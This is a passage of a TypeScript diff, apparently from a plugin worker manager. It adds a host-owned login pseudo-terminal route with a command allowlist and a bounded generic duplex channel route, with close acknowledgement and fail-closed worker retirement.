+   * bounds and ends the route when a bound passes its limit.
+   */
+  openDuplexChannel(
+    input: DuplexChannelOpenInput,
+  ): Promise<DuplexChannelHostSession>;
+
   /**
    * Authorize the set of companies this worker may act on from proactive
    * (non-invocation) context. Replaces any previously-authorized set. See the
@@ -506,6 +738,17 @@ export interface PluginWorkerManager {
     timeoutMs?: number,
     executeLogSink?: ExecuteLogSink,
   ): Promise<HostToWorkerMethods[M][1]>;
+
+  /**
+   * Open one live login pseudo-terminal route on a specific plugin worker
+   * See {@link PluginWorkerHandle.openSetupTokenPtySession}.
+   *
+   * @throws if the worker is not registered.
+   */
+  openSetupTokenPtySession(
+    pluginId: string,
+    input: SetupTokenPtyOpenInput,
+  ): Promise<SetupTokenPtyHostSession>;
 }
 
 // ---------------------------------------------------------------------------
@@ -564,6 +807,50 @@ export function createPluginWorkerHandle(
   const maxExecuteLogTotalChars =
     options.executeLogLimits?.maxTotalCharsPerExecute ?? MAX_EXECUTE_LOG_TOTAL_CHARS;
 
+  // Bounds and timeouts for the login pseudo-terminal route. A caller
+  // (a test) can lower them to exercise the terminalize paths.
+  const maxSetupTokenPtyChunkChars =
+    options.setupTokenPtyLimits?.maxChunkChars ?? MAX_SETUP_TOKEN_PTY_CHUNK_CHARS;
+  const maxSetupTokenPtyTotalChars =
+    options.setupTokenPtyLimits?.maxTotalChars ?? MAX_SETUP_TOKEN_PTY_TOTAL_CHARS;
+  const setupTokenPtyOpenTimeoutMs =
+    options.setupTokenPtyLimits?.openTimeoutMs ?? SETUP_TOKEN_PTY_OPEN_TIMEOUT_MS;
+  const setupTokenPtyCloseTimeoutMs =
+    options.setupTokenPtyLimits?.closeTimeoutMs ?? SETUP_TOKEN_PTY_CLOSE_TIMEOUT_MS;
+
+  // Bounds and timeouts for the generic duplex channel route. A caller (a test)
+  // can lower them to exercise each bound and the terminalize paths.
+  const maxDuplexChannelChunkChars =
+    options.duplexChannelLimits?.maxChunkChars ?? MAX_DUPLEX_CHANNEL_CHUNK_CHARS;
+  const maxDuplexChannelPreBindChars =
+    options.duplexChannelLimits?.maxPreBindBufferedChars ??
+    MAX_DUPLEX_CHANNEL_PRE_BIND_CHARS;
+  const maxDuplexChannelPreBindFrames =
+    options.duplexChannelLimits?.maxPreBindBufferedFrames ??
+    MAX_DUPLEX_CHANNEL_PRE_BIND_FRAMES;
+  // Always strictly above maxDuplexChannelPreBindFrames, including when a
+  // caller configures that bound at or above the module default. See
+  // DUPLEX_CHANNEL_PRE_OPEN_HOLD_MARGIN_FRAMES for why the margin must hold.
+  const maxDuplexChannelPreOpenHoldFrames =
+    maxDuplexChannelPreBindFrames + DUPLEX_CHANNEL_PRE_OPEN_HOLD_MARGIN_FRAMES;
+  const maxDuplexChannelPendingRequests =
+    options.duplexChannelLimits?.maxPendingRequests ??
+    MAX_DUPLEX_CHANNEL_PENDING_REQUESTS;
+  const maxDuplexChannelWriteChars =
+    options.duplexChannelLimits?.maxWriteChars ?? MAX_DUPLEX_CHANNEL_WRITE_CHARS;
+  const maxDuplexChannelProtocolErrors =
+    options.duplexChannelLimits?.maxProtocolErrors ??
+    MAX_DUPLEX_CHANNEL_PROTOCOL_ERRORS;
+  const maxDuplexChannelTotalDataBytes =
+    options.duplexChannelLimits?.maxTotalDataBytes ??
+    MAX_DUPLEX_CHANNEL_TOTAL_DATA_BYTES;
+  const maxDuplexChannelDurationMs =
+    options.duplexChannelLimits?.maxDurationMs ?? MAX_DUPLEX_CHANNEL_DURATION_MS;
+  const duplexChannelOpenTimeoutMs =
+    options.duplexChannelLimits?.openTimeoutMs ?? DUPLEX_CHANNEL_OPEN_TIMEOUT_MS;
+  const duplexChannelCloseTimeoutMs =
+    options.duplexChannelLimits?.closeTimeoutMs ?? DUPLEX_CHANNEL_CLOSE_TIMEOUT_MS;
+
   // ------------------------------------------------------------------
   // Proactive company scopes (LOOA-629)
   // ------------------------------------------------------------------
@@ -920,6 +1207,724 @@ export function createPluginWorkerHandle(
     }
   }
 
+  // -----------------------------------------------------------------------
+  // Host-owned setup-token login pseudo-terminal route gate
+  // -----------------------------------------------------------------------
+  // The manager owns one live login pseudo-terminal route per worker. It mints a
+  // host-owned opaque route identifier, carries it in the open call, and keys the
+  // close on it, so it closes a worker-created terminal even when the open reply
+  // was lost and no worker session identifier arrived. It binds the worker
+  // session identifier one time while the route is `opening`, for output only. It
+  // never trusts a worker-supplied identifier as proof of origin: it delivers
+  // output only while the route is `open` and the notification carries the exact
+  // bound identifier and valid bounded bytes, and it never logs the raw bytes. It
+  // terminalizes the route exactly once on every open failure path, closes the
+  // terminal by the host route identifier, and admits a new open only after it
+  // verifies a close acknowledgement bound to that identifier; it retires the
+  // worker on an unconfirmed close.
+
+  // A single-consumer route state. The login pseudo-terminal route and the
+  // generic duplex channel route share it.
+  type RouteState = "reserved" | "opening" | "open" | "closed";
+
+  // Shared route-binding helpers. The login pseudo-terminal route and the duplex
+  // channel route both use them, so the two routes bind and settle one way.
+
+  // Settle the route wait exactly once. Replace the settler with a no-op, so a
+  // later exit or terminalize never settles the wait a second time.
+  function settleRouteWait(
+    route: { settleWait: (value: { exitCode: number | null }) => void },
+    value: { exitCode: number | null },
+  ): void {
+    const settle = route.settleWait;
+    route.settleWait = () => {};
+    settle(value);
+  }
+
+  // Read the worker session identifier from an open reply, but only when the
+  // route can still bind. Return null for a malformed reply, or for a route that
+  // already left `opening` or terminalized. A late or a duplicate reply never
+  // binds, revives, or reopens a route.
+  function readBindableWorkerSessionId(
+    route: { state: RouteState; terminalized: boolean },
+    openResult: unknown,
+  ): string | null {
+    const workerSessionId = readNonEmptyString(
+      isRecord(openResult) ? openResult.workerSessionId : null,
+    );
+    if (!workerSessionId || route.state !== "opening" || route.terminalized) {
+      return null;
+    }
+    return workerSessionId;
+  }
+
+  type SetupTokenPtyRouteState = RouteState;
+  interface SetupTokenPtyRoute {
+    hostRouteId: string;
+    state: SetupTokenPtyRouteState;
+    workerSessionId: string | null;
+    listener: ((chunk: string) => void) | null;
+    buffered: string[];
+    deliveredChars: number;
+    terminalized: boolean;
+    settleWait: (value: { exitCode: number | null }) => void;
+  }
+  // At most one active credential pseudo-terminal per worker. A non-null route
+  // blocks a second open until the manager confirms the first route's close.
+  let setupTokenPtyRoute: SetupTokenPtyRoute | null = null;
+
+  // Close the worker terminal by the host route identifier and verify the bound
+  // acknowledgement. Return true only when the worker returns an acknowledgement
+  // that carries the exact host route identifier. An absent, malformed,
+  // mismatched, or timed-out acknowledgement returns false, so the caller fails
+  // closed.
+  async function closeSetupTokenPtyTerminal(hostRouteId: string): Promise<boolean> {
+    try {
+      const ack = await callInternal(
+        "setupTokenPtyClose",
+        { hostRouteId },
+        setupTokenPtyCloseTimeoutMs,
+      );
+      return isRecord(ack) && readNonEmptyString(ack.hostRouteId) === hostRouteId;
+    } catch {
+      return false;
+    }
+  }
+
+  // Terminalize the route exactly once. Resolve the login wait, close the worker
+  // terminal by the host route identifier, and free the per-worker slot only
+  // after the close resolves. Retire the worker when the close is unconfirmed.
+  async function terminalizeSetupTokenPtyRoute(route: SetupTokenPtyRoute): Promise<void> {
+    if (route.terminalized) return;
+    route.terminalized = true;
+    route.state = "closed";
+    route.listener = null;
+    route.buffered = [];
+    // A terminalized route reports a null exit code, which the runner treats as a
+    // failure.
+    settleRouteWait(route, { exitCode: null });
+    const confirmed = await closeSetupTokenPtyTerminal(route.hostRouteId);
+    if (setupTokenPtyRoute === route) setupTokenPtyRoute = null;
+    if (!confirmed) {
+      // The worker did not acknowledge the close, so the host cannot prove the
+      // terminal is gone. Fail closed: retire the worker before any reuse.
+      log.error(
+        { pluginId },
+        "setup-token login pseudo-terminal close not acknowledged; retiring worker",
+      );
+      void killProcess();
+    }
+  }
+
+  // Route one login pseudo-terminal output notification to the per-session
+  // listener. Deliver only while the route is `open` and the notification carries
+  // the exact bound worker session identifier and valid bounded bytes. Drop an
+  // unknown, late, malformed, or mismatched notification. Never log the raw bytes.
+  function routeSetupTokenPtyOutput(notification: JsonRpcNotification): void {
+    const route = setupTokenPtyRoute;
+    if (!route || route.state !== "open") return;
+    const params = isRecord(notification.params) ? notification.params : {};
+    const workerSessionId = readNonEmptyString(params.workerSessionId);
+    if (!workerSessionId || workerSessionId !== route.workerSessionId) return;
+    const chunk = params.chunk;
+    if (
+      typeof chunk !== "string" ||
+      chunk.length === 0 ||
+      chunk.length > maxSetupTokenPtyChunkChars
+    ) {
+      return;
+    }
+    if (route.deliveredChars + chunk.length > maxSetupTokenPtyTotalChars) {
+      // The cumulative output passed the per-route bound. Terminalize the route.
+      void terminalizeSetupTokenPtyRoute(route);
+      return;
+    }
+    route.deliveredChars += chunk.length;
+    if (route.listener) route.listener(chunk);
+    else route.buffered.push(chunk);
+  }
+
+  // Route one login pseudo-terminal exit notification to the login wait. Resolve
+  // only while the route is `open` and the notification carries the exact bound
+  // worker session identifier.
+  function routeSetupTokenPtyExit(notification: JsonRpcNotification): void {
+    const route = setupTokenPtyRoute;
+    if (!route || route.state !== "open") return;
+    const params = isRecord(notification.params) ? notification.params : {};
+    const workerSessionId = readNonEmptyString(params.workerSessionId);
+    if (!workerSessionId || workerSessionId !== route.workerSessionId) return;
+    const exitCode = typeof params.exitCode === "number" ? params.exitCode : null;
+    settleRouteWait(route, { exitCode });
+  }
+
+  // Close the one route on a worker exit. The worker is gone, so the manager
+  // resolves the login wait with the fixed non-secret exit and clears the route
+  // one time. The pending pseudo-terminal calls reject through `rejectAllPending`.
+  function closeSetupTokenPtyRouteOnWorkerExit(): void {
+    const route = setupTokenPtyRoute;
+    if (!route) return;
+    setupTokenPtyRoute = null;
+    route.terminalized = true;
+    route.state = "closed";
+    route.listener = null;
+    route.buffered = [];
+    settleRouteWait(route, { exitCode: null });
+  }
+
+  // Open one live login pseudo-terminal route. Reserve the route
+  // before the open call, bind the worker session identifier one time on the
+  // first successful open reply, and return a session the login transport drives.
+  // Terminalize the route on every open failure path.
+  async function openSetupTokenPtySession(
+    input: SetupTokenPtyOpenInput,
+  ): Promise<SetupTokenPtyHostSession> {
+    if (input.command !== CLAUDE_SETUP_TOKEN_COMMAND) {
+      // Allowlist the login command. Only the fixed `CLAUDE_SETUP_TOKEN_COMMAND`
+      // may run in the sandbox pseudo-terminal. Reject any other command with one
+      // fixed non-secret error before the worker call, so a caller cannot spawn
+      // an arbitrary process in the sandbox pseudo-terminal.
+      throw new Error(SETUP_TOKEN_PTY_COMMAND_NOT_ALLOWED);
+    }
+    if (setupTokenPtyRoute) {
+      // A route for this worker is not yet closed and confirmed. Reject the
+      // second open with one fixed non-secret error before it reaches the worker.
+      throw new Error(SETUP_TOKEN_PTY_ROUTE_BUSY);
+    }
+    const hostRouteId = randomUUID();
+    let settleWait: (value: { exitCode: number | null }) => void = () => {};
+    const waitPromise = new Promise<{ exitCode: number | null }>((resolve) => {
+      settleWait = resolve;
+    });
+    const route: SetupTokenPtyRoute = {
+      hostRouteId,
+      state: "reserved",
+      workerSessionId: null,
+      listener: null,
+      buffered: [],
+      deliveredChars: 0,
+      terminalized: false,
+      settleWait,
+    };
+    setupTokenPtyRoute = route;
+
+    route.state = "opening";
+    let openResult: HostToWorkerMethods["setupTokenPtyOpen"][1];
+    try {
+      openResult = await callInternal(
+        "setupTokenPtyOpen",
+        {
+          hostRouteId,
+          driverKey: input.driverKey,
+          companyId: input.companyId,
+          environmentId: input.environmentId,
+          providerLeaseId: input.providerLeaseId,
+          command: input.command,
+        },
+        setupTokenPtyOpenTimeoutMs,
+      );
+    } catch (err) {
+      // A send failure, an RPC rejection, or an open timeout. Terminalize the
+      // route exactly once and fail closed.
+      await terminalizeSetupTokenPtyRoute(route);
+      throw err instanceof Error ? err : new Error(SETUP_TOKEN_PTY_OPEN_FAILED);
+    }
+
+    const workerSessionId = readBindableWorkerSessionId(route, openResult);
+    if (!workerSessionId) {
+      // A malformed reply, or a route that already left `opening`. A late or a
+      // duplicate reply never binds, revives, or reopens a route.
+      await terminalizeSetupTokenPtyRoute(route);
+      throw new Error(SETUP_TOKEN_PTY_OPEN_FAILED);
+    }
+    // Bind the worker session identifier one time and move the route to `open`.
+    route.workerSessionId = workerSessionId;
+    route.state = "open";
+
+    return {
+      onData(listener: (chunk: string) => void): void {
+        route.listener = listener;
+        if (route.buffered.length > 0) {
+          const pending = route.buffered;
+          route.buffered = [];
+          for (const chunk of pending) listener(chunk);
+        }
+      },
+      write(data: string): void {
+        const sid = route.workerSessionId;
+        if (route.state !== "open" || !sid) return;
+        void callInternal(
+          "setupTokenPtyInput",
+          { workerSessionId: sid, data },
+          setupTokenPtyOpenTimeoutMs,
+        ).catch(() => {});
+      },
+      wait(): Promise<{ exitCode: number | null }> {
+        return waitPromise;
+      },
+      kill(): void {
+        const sid = route.workerSessionId;
+        if (!sid) return;
+        void callInternal(
+          "setupTokenPtyStop",
+          { workerSessionId: sid },
+          setupTokenPtyOpenTimeoutMs,
+        ).catch(() => {});
+      },
+      async close(): Promise<void> {
+        await terminalizeSetupTokenPtyRoute(route);
+      },
+    };
+  }
+
+  // -----------------------------------------------------------------------
+  // Host-owned generic duplex channel route
+  // -----------------------------------------------------------------------
+  // The duplex channel route mirrors the login pseudo-terminal route model. The
+  // host owns the route identifier, binds the worker session identifier one time
+  // on a valid open reply, and keys the close on the host route identifier. It
+  // rejects a late or a duplicate open reply, and it retires the worker on an
+  // unconfirmed close. The duplex channel carries no command allowlist, so the
+  // caller owns the command.
+  //
+  // The route adds seven explicit bounds the pseudo-terminal route lacks. Each
+  // bound ends the route when it passes its limit:
+  //   1. pre-bind buffered bytes — the cumulative characters the host buffers
+  //      before a data listener attaches;
+  //   2. pre-bind buffered frame count — the number of data frames the host
+  //      buffers before a data listener attaches;
+  //   3. pending request count — the number of in-flight host→worker requests;
+  //   4. host→worker write size — the characters for one write;
+  //   5. protocol error rate — the count of malformed or mismatched data frames;
+  //   6. total data bytes — the cumulative inbound bytes over the whole life,
+  //      counted before and after a data listener attaches;
+  //   7. route lifetime — the milliseconds from the open to the terminal end.
+  interface DuplexChannelRoute {
+    hostRouteId: string;
+    state: RouteState;
+    workerSessionId: string | null;
+    listener: ((chunk: string) => void) | null;
+    buffered: string[];
+    bufferedChars: number;
+    // Raw data notifications that arrive before the route binds. The host reads
+    // the worker stdout line by line. The open reply and a data notification can
+    // arrive in one read batch, so the host dispatches the notification before
+    // the deferred open-reply continuation flips the state to `open`. The host
+    // holds these frames here and replays them in order right after it binds the
+    // route, so a batched frame is never lost. Bounded by the pre-open hold
+    // ceiling — see `bufferPreOpenDuplexChannelNotification`.
+    preOpen: JsonRpcNotification[];
+    // The most recent exit notification that arrived before the route binds, or
+    // null. A single slot, not an array: only the last exit a worker sends before
+    // the bind is ever meaningful, so the host overwrites this on every pre-open
+    // exit instead of holding each one. That keeps a worker that batches many
+    // exit notifications before it replies to the open from growing this past one
+    // entry — the pre-open hold ceiling bounds only `preOpen`, so an exit that
+    // shared that array with data frames could otherwise consume a data frame's
+    // hold slot and let a data frame that should trip the buffered-frame bound
+    // get dropped by the hold instead. Replayed after `preOpen` drains, so data
+    // still delivers before the exit resolves the wait, matching a real worker's
+    // order.
+    preOpenExit: JsonRpcNotification | null;
+    pendingRequests: number;
+    protocolErrors: number;
+    totalDataBytes: number;
+    lifetimeTimer: ReturnType<typeof setTimeout> | null;
+    terminalized: boolean;
+    settleWait: (value: { exitCode: number | null }) => void;
+  }
+  // At most one active duplex channel per worker. A non-null route blocks a
+  // second open until the manager confirms the first route's close.
+  let duplexChannelRoute: DuplexChannelRoute | null = null;
+
+  // Close the worker channel by the host route identifier and verify the bound
+  // acknowledgement. Return true only when the worker returns an acknowledgement
+  // that carries the exact host route identifier. An absent, malformed,
+  // mismatched, or timed-out acknowledgement returns false, so the caller fails
+  // closed.
+  async function closeDuplexChannelTerminal(hostRouteId: string): Promise<boolean> {
+    try {
+      const ack = await callInternal(
+        "duplexChannelClose",
+        { hostRouteId },
+        duplexChannelCloseTimeoutMs,
+      );
+      return isRecord(ack) && readNonEmptyString(ack.hostRouteId) === hostRouteId;
+    } catch {
+      return false;
+    }
+  }
+
+  // Terminalize the route exactly once. Resolve the wait, close the worker
+  // channel by the host route identifier, and free the per-worker slot only
+  // after the close resolves. Retire the worker when the close is unconfirmed.
+  // Clear the route lifetime timer one time. Every terminal path and the
+  // worker-exit path calls this, so a timer never fires after the route ends.
+  function clearDuplexChannelLifetimeTimer(route: DuplexChannelRoute): void {
+    if (route.lifetimeTimer) {
+      clearTimeout(route.lifetimeTimer);
+      route.lifetimeTimer = null;
+    }
+  }
+
+  async function terminalizeDuplexChannelRoute(route: DuplexChannelRoute): Promise<void> {
+    if (route.terminalized) return;
+    route.terminalized = true;
+    route.state = "closed";
+    route.listener = null;
+    // Keep the buffered chunks that the host accepted before the route ended, so
+    // a listener that attaches after the end still drains them. A frame can end
+    // the route during the pre-open replay, before a listener attaches, and the
+    // buffered chunks the host accepted before that frame are valid data the
+    // listener must still receive. The buffered bytes stay bounded by the
+    // pre-bind buffered bound, and `onData` clears them once it drains them.
+    route.preOpen = [];
+    route.preOpenExit = null;
+    clearDuplexChannelLifetimeTimer(route);
+    // A terminalized route reports a null exit code, which the caller treats as a
+    // failure.
+    settleRouteWait(route, { exitCode: null });
+    const confirmed = await closeDuplexChannelTerminal(route.hostRouteId);
+    if (duplexChannelRoute === route) duplexChannelRoute = null;
+    if (!confirmed) {
+      // The worker did not acknowledge the close, so the host cannot prove the
+      // channel is gone. Fail closed: retire the worker before any reuse.
+      log.error(
+        { pluginId },
+        "duplex channel close not acknowledged; retiring worker",
+      );
+      void killProcess();
+    }
+  }
+
+  // Count one protocol error for the route. End the route when the count passes
+  // the per-route budget, so a flood of malformed or mismatched frames bounds the
+  // route.
+  function recordDuplexChannelProtocolError(route: DuplexChannelRoute): void {
+    route.protocolErrors += 1;
+    if (route.protocolErrors > maxDuplexChannelProtocolErrors) {
+      void terminalizeDuplexChannelRoute(route);
+    }
+  }
+
+  // Hold one data or exit notification that arrives before the route binds. The
+  // host replays the held notifications after it binds the route: `preOpen`
+  // drains first, in order, then the held exit (if any) resolves the wait last —
+  // see `drainPreOpenDuplexChannelNotifications`.
+  //
+  // A data notification goes on `preOpen`, bounded by a pre-open ceiling derived
+  // from the pre-bind buffered-frame bound, so a worker that floods data frames
+  // before it replies to the open cannot make the host hold an unbounded number
+  // of them. Count one protocol error for each data frame past the ceiling. This
+  // ceiling is separate from the pre-bind buffered-frame bound, but it tracks it:
+  // the replay after the bind applies the buffered bound to each held frame, so
+  // the buffered bound ends the route when a caller lowers (or raises) it. The
+  // hold ceiling stays above the buffered bound by construction
+  // (maxDuplexChannelPreOpenHoldFrames = maxDuplexChannelPreBindFrames + margin),
+  // or it would drop a frame before the buffered bound can end the route.
+  //
+  // An exit notification never touches `preOpen`. It overwrites the single
+  // `preOpenExit` slot instead, so a worker that batches an exit among enough
+  // data frames to fill the hold cannot consume a data frame's hold slot: the
+  // ceiling above bounds `preOpen` alone, so it stays exactly the margin above
+  // the buffered bound regardless of how many exit notifications arrive pre-open.
+  function bufferPreOpenDuplexChannelNotification(
+    route: DuplexChannelRoute,
+    notification: JsonRpcNotification,
+  ): void {
+    if (notification.method === DUPLEX_CHANNEL_EXIT_NOTIFICATION) {
+      route.preOpenExit = notification;
+      return;
+    }
+    if (route.preOpen.length >= maxDuplexChannelPreOpenHoldFrames) {
+      recordDuplexChannelProtocolError(route);
+      return;
+    }
+    route.preOpen.push(notification);
+  }
+
+  // Replay the held pre-open notifications right after the route binds. The
+  // route is `open` now, so each notification passes through the normal
+  // per-frame bounds and the session-identifier match. Drain the held data
+  // frames first, in order, then replay the held exit (if any) last, so data
+  // still delivers before the exit resolves the wait, matching a real worker's
+  // order. A frame that ends the route terminalizes it, and every later
+  // notification in the replay is a no-op, because the routing functions drop a
+  // notification when the route is not `open`.
+  function drainPreOpenDuplexChannelNotifications(route: DuplexChannelRoute): void {
+    if (route.preOpen.length > 0) {
+      const pending = route.preOpen;
+      route.preOpen = [];
+      for (const notification of pending) {
+        routeDuplexChannelData(notification);
+      }
+    }
+    if (route.preOpenExit) {
+      const exitNotification = route.preOpenExit;
+      route.preOpenExit = null;
+      routeDuplexChannelExit(exitNotification);
+    }
+  }
+
+  // Deliver one duplex channel chunk to the bound listener in isolation. A
+  // listener that throws must not escape the worker stdout notification handler
+  // or the buffered replay, so a throw here breaks neither the notification
+  // dispatch loop nor the pre-bind drain. The manager catches the error and logs
+  // it without the raw bytes. This mirrors the `execute.log` delivery isolation.
+  function deliverDuplexChannelChunk(
+    listener: (chunk: string) => void,
+    chunk: string,
+  ): void {
+    try {
+      listener(chunk);
+    } catch (err) {
+      log.error(
+        { err: err instanceof Error ? err.message : String(err) },
+        "duplex channel data delivery threw",
+      );
+    }
+  }
+
+  // Route one duplex channel data notification to the per-session listener.
+  // Deliver only while the route is `open` and the notification carries the exact
+  // bound worker session identifier and a valid chunk. Count a mismatched or
+  // malformed frame as a protocol error. End the route at once when one chunk is
+  // larger than the per-chunk limit or when the cumulative bytes pass the total
+  // cap. Buffer a valid frame under the pre-bind bounds when no listener has
+  // attached yet. Never log the raw bytes.
+  function routeDuplexChannelData(notification: JsonRpcNotification): void {
+    const route = duplexChannelRoute;
+    if (!route || route.terminalized) return;
+    if (route.state === "reserved" || route.state === "opening") {
+      // The route did not bind yet. Hold the frame and replay it after the bind.
+      bufferPreOpenDuplexChannelNotification(route, notification);
+      return;
+    }
+    if (route.state !== "open") return;
+    const params = isRecord(notification.params) ? notification.params : {};
+    const workerSessionId = readNonEmptyString(params.workerSessionId);
+    const chunk = params.chunk;
+    if (
+      !workerSessionId ||
+      workerSessionId !== route.workerSessionId ||
+      typeof chunk !== "string" ||
+      chunk.length === 0
+    ) {
+      // A late, unknown, malformed, or mismatched frame. Drop it and count one
+      // protocol error.
+      recordDuplexChannelProtocolError(route);
+      return;
+    }
+    if (chunk.length > maxDuplexChannelChunkChars) {
+      // One inbound chunk is larger than the per-chunk limit. End the route at
+      // once. Do not count the chunk as a protocol error.
+      void terminalizeDuplexChannelRoute(route);
+      return;
+    }
+    // Count the bytes of the chunk. Enforce the cumulative total-byte cap before
+    // and after a listener attaches. End the route when the cap is exceeded, so a
+    // bound listener cannot receive data past the cap.
+    const chunkBytes = Buffer.byteLength(chunk);
+    if (route.totalDataBytes + chunkBytes > maxDuplexChannelTotalDataBytes) {
+      void terminalizeDuplexChannelRoute(route);
+      return;
+    }
+    route.totalDataBytes += chunkBytes;
+    if (route.listener) {
+      deliverDuplexChannelChunk(route.listener, chunk);
+      return;
+    }
+    // No listener attached yet. Buffer the frame under the pre-bind bounds. End
+    // the route when the cumulative bytes or the frame count passes the bound.
+    if (
+      route.buffered.length + 1 > maxDuplexChannelPreBindFrames ||
+      route.bufferedChars + chunk.length > maxDuplexChannelPreBindChars
+    ) {
+      void terminalizeDuplexChannelRoute(route);
+      return;
+    }
+    route.buffered.push(chunk);
+    route.bufferedChars += chunk.length;
+  }
+
+  // Route one duplex channel exit notification to the wait. Resolve only while
+  // the route is `open` and the notification carries the exact bound worker
+  // session identifier.
+  function routeDuplexChannelExit(notification: JsonRpcNotification): void {
+    const route = duplexChannelRoute;
+    if (!route || route.terminalized) return;
+    if (route.state === "reserved" || route.state === "opening") {
+      // The route did not bind yet. Hold the frame and replay it after the bind.
+      bufferPreOpenDuplexChannelNotification(route, notification);
+      return;
+    }
+    if (route.state !== "open") return;
+    const params = isRecord(notification.params) ? notification.params : {};
+    const workerSessionId = readNonEmptyString(params.workerSessionId);
+    if (!workerSessionId || workerSessionId !== route.workerSessionId) return;
+    const exitCode = typeof params.exitCode === "number" ? params.exitCode : null;
+    settleRouteWait(route, { exitCode });
+  }
+
+  // Close the one route on a worker exit. The worker is gone, so the manager
+  // resolves the wait with the fixed non-secret exit and clears the route one
+  // time. The pending channel calls reject through `rejectAllPending`.
+  function closeDuplexChannelRouteOnWorkerExit(): void {
+    const route = duplexChannelRoute;
+    if (!route) return;
+    duplexChannelRoute = null;
+    route.terminalized = true;
+    route.state = "closed";
+    route.listener = null;
+    route.buffered = [];
+    route.bufferedChars = 0;
+    route.preOpen = [];
+    route.preOpenExit = null;
+    clearDuplexChannelLifetimeTimer(route);
+    settleRouteWait(route, { exitCode: null });
+  }
+
+  // Open one live generic duplex channel route. Reserve the route before the open
+  // call, bind the worker session identifier one time on the first successful
+  // open reply, and return a session a caller drives. Terminalize the route on
+  // every open failure path.
+  async function openDuplexChannel(
+    input: DuplexChannelOpenInput,
+  ): Promise<DuplexChannelHostSession> {
+    if (duplexChannelRoute) {
+      // A route for this worker is not yet closed and confirmed. Reject the
+      // second open with one fixed non-secret error before it reaches the worker.
+      throw new Error(DUPLEX_CHANNEL_ROUTE_BUSY);
+    }
+    const hostRouteId = randomUUID();
+    let settleWait: (value: { exitCode: number | null }) => void = () => {};
+    const waitPromise = new Promise<{ exitCode: number | null }>((resolve) => {
+      settleWait = resolve;
+    });
+    const route: DuplexChannelRoute = {
+      hostRouteId,
+      state: "reserved",
+      workerSessionId: null,
+      listener: null,
+      buffered: [],
+      bufferedChars: 0,
+      preOpen: [],
+      preOpenExit: null,
+      pendingRequests: 0,
+      protocolErrors: 0,
+      totalDataBytes: 0,
+      lifetimeTimer: null,
+      terminalized: false,
+      settleWait,
+    };
+    duplexChannelRoute = route;
+
+    route.state = "opening";
+    let openResult: HostToWorkerMethods["duplexChannelOpen"][1];
+    try {
+      openResult = await callInternal(
+        "duplexChannelOpen",
+        {
+          hostRouteId,
+          driverKey: input.driverKey,
+          companyId: input.companyId,
+          environmentId: input.environmentId,
+          providerLeaseId: input.providerLeaseId,
+          command: input.command,
+        },
+        duplexChannelOpenTimeoutMs,
+      );
+    } catch (err) {
+      // A send failure, an RPC rejection, or an open timeout. Terminalize the
+      // route exactly once and fail closed.
+      await terminalizeDuplexChannelRoute(route);
+      throw err instanceof Error ? err : new Error(DUPLEX_CHANNEL_OPEN_FAILED);
+    }
+
+    const workerSessionId = readBindableWorkerSessionId(route, openResult);
+    if (!workerSessionId) {
+      // A malformed reply, or a route that already left `opening`. A late or a
+      // duplicate reply never binds, revives, or reopens a route.
+      await terminalizeDuplexChannelRoute(route);
+      throw new Error(DUPLEX_CHANNEL_OPEN_FAILED);
+    }
+    // Bind the worker session identifier one time and move the route to `open`.
+    route.workerSessionId = workerSessionId;
+    route.state = "open";
+
+    // Replay any data or exit frame that arrived in the open-reply read batch,
+    // before the route bound. The route is `open` now, so each replayed frame
+    // passes through the normal per-frame bounds and the session match.
+    drainPreOpenDuplexChannelNotifications(route);
+
+    // Start the route lifetime timer now the route is open. The route ends when
+    // the timer expires. Every terminal path and the worker-exit path clears the
+    // timer. Unreference the timer so it never blocks the host process shutdown.
+    // A replayed frame can end the route during the drain above, so start the
+    // timer only while the route is still open.
+    if (route.state === "open") {
+      route.lifetimeTimer = setTimeout(() => {
+        void terminalizeDuplexChannelRoute(route);
+      }, maxDuplexChannelDurationMs);
+      route.lifetimeTimer.unref?.();
+    }
+
+    // Send one host→worker request under the pending-request bound. End the route
+    // when too many requests are in-flight, so a worker that never replies cannot
+    // make the host hold an unbounded number of pending requests.
+    const sendBoundedRequest = <
+      M extends "duplexChannelWrite" | "duplexChannelStop",
+    >(
+      method: M,
+      params: HostToWorkerMethods[M][0],
+    ): void => {
+      if (route.state !== "open") return;
+      if (route.pendingRequests >= maxDuplexChannelPendingRequests) {
+        void terminalizeDuplexChannelRoute(route);
+        return;
+      }
+      route.pendingRequests += 1;
+      void callInternal(method, params, duplexChannelOpenTimeoutMs)
+        .catch(() => {})
+        .finally(() => {
+          route.pendingRequests -= 1;
+        });
+    };
+
+    return {
+      onData(listener: (chunk: string) => void): void {
+        route.listener = listener;
+        if (route.buffered.length > 0) {
+          const pending = route.buffered;
+          route.buffered = [];
+          route.bufferedChars = 0;
+          for (const chunk of pending) deliverDuplexChannelChunk(listener, chunk);
+        }
+      },
+      write(data: string): void {
+        const sid = route.workerSessionId;
+        if (route.state !== "open" || !sid) return;
+        if (data.length > maxDuplexChannelWriteChars) {
+          // The write is larger than the size bound. End the route before the
+          // write reaches the worker.
+          void terminalizeDuplexChannelRoute(route);
+          return;
+        }
+        sendBoundedRequest("duplexChannelWrite", { workerSessionId: sid, data });
+      },
+      wait(): Promise<{ exitCode: number | null }> {
+        return waitPromise;
+      },
+      kill(): void {
+        const sid = route.workerSessionId;
+        if (!sid) return;
+        sendBoundedRequest("duplexChannelStop", { workerSessionId: sid });
+      },
+      async close(): Promise<void> {
+        await terminalizeDuplexChannelRoute(route);
+      },
+    };
+  }
+
   /**
    * Extract the single company a worker→host call references, mirroring the SDK
    * governed-access gate's own derivation (host-client-factory.ts
@@ -1080,6 +2085,30 @@ export function createPluginWorkerHandle(
       return;
     }
 
+    // Setup-token login pseudo-terminal notifications: deliver output
+    // and the exit to the one host-owned login route, bound by the worker session
+    // identifier while the route is open.
+    if (notification.method === SETUP_TOKEN_PTY_OUTPUT_NOTIFICATION) {
+      routeSetupTokenPtyOutput(notification);
+      return;
+    }
+    if (notification.method === SETUP_TOKEN_PTY_EXIT_NOTIFICATION) {
+      routeSetupTokenPtyExit(notification);
+      return;
+    }
+
+    // Duplex channel notifications: deliver data and the exit to the one
+    // host-owned duplex route, bound by the worker session identifier while the
+    // route is open.
+    if (notification.method === DUPLEX_CHANNEL_DATA_NOTIFICATION) {
+      routeDuplexChannelData(notification);
+      return;
+    }
+    if (notification.method === DUPLEX_CHANNEL_EXIT_NOTIFICATION) {
+      routeDuplexChannelExit(notification);
+      return;
+    }
+
     // Stream notifications: forward to the stream bus via callback
     if (
       notification.method === "streams.open" ||
